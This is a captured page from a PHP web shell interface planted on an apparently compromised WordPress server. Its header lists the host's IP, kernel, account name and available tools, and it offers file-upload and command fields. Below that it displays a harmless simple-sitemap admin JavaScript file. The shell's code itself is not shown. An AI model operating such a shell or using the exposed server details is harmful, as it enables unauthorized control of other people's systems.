403Webshell
Server IP : 68.178.247.200  /  Your IP : 216.73.216.14
Web Server : Apache
System : Linux p3plzcpnl489463.prod.phx3.secureserver.net 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : x9dppmxs4rgd ( 8559391)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/x9dppmxs4rgd/www/wp-content/plugins/simple-sitemap/lib/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/x9dppmxs4rgd/www/wp-content/plugins/simple-sitemap/lib/assets/js/simple-sitemap-admin.js
// eslint-disable-next-line no-undef
jQuery(document).ready(function ($) {
	// Reset plugin settings link
	$('#simple-sitemap-reset > a').on('click', function () {
		const res = window.confirm(
			'Are you sure? All plugin options will be reset to their default settings!'
		);
		if (res === true) {
			$('#simple-sitemap-reset-form').submit();
		}
	});

	// setup event listeners for expandable sections
	['blocks', 'shortcodes', 'attributes'].forEach(function (
		section
	) {
		const btn = $('#' + section + '-btn');
		const wrap = $('#' + section + '-wrap');

		btn.on('click', function () {
			const isHidden = wrap.is(':hidden');
			wrap.slideToggle(300, function () {
				if (isHidden) {
					btn.html(
						'Collapse <span style="vertical-align:sub;width:16px;height:16px;font-size:16px;" class="dashicons dashicons-arrow-up-alt2"></span>'
					);
				} else {
					btn.html(
						'Expand <span style="vertical-align:sub;width:16px;height:16px;font-size:16px;" class="dashicons dashicons-arrow-down-alt2"></span>'
					);
				}
			});
		});
	});
});

Youez - 2016 - github.com/yon3zu
LinuXploit